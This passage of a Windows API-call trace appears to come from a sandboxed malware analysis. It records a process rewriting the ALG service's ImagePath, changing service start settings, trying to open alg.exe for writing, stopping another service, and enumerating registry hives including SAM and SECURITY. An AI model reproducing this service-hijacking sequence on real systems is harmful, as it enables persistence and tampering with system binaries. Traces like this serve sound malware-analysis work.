lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.829] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.829] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.829] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.829] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.829] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.829] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0259.829] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\alg.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\alg.exe" [0259.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0259.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0259.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0259.829] LocalFree (hMem=0x7e2238) returned 0x0 [0259.829] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0259.829] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x2) returned 0x803990 [0259.830] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.832] CloseServiceHandle (hSCObject=0x803990) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.835] RegCloseKey (hKey=0xc4) returned 0x0 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.835] RegCloseKey (hKey=0x150) returned 0x0 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0259.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0259.835] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0259.835] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.835] GetLastError () returned 0x20 [0259.835] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0259.836] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0259.836] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0259.836] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x8038a0 [0259.837] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.837] GetLastError () returned 0x425 [0259.837] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0259.837] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.837] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.838] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.838] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.838] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.838] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.839] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.839] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.839] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.839] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.839] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.840] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.840] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.840] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.840] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.841] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.841] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.841] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.842] RegOpenKeyExW (in: hKey=0xc4, 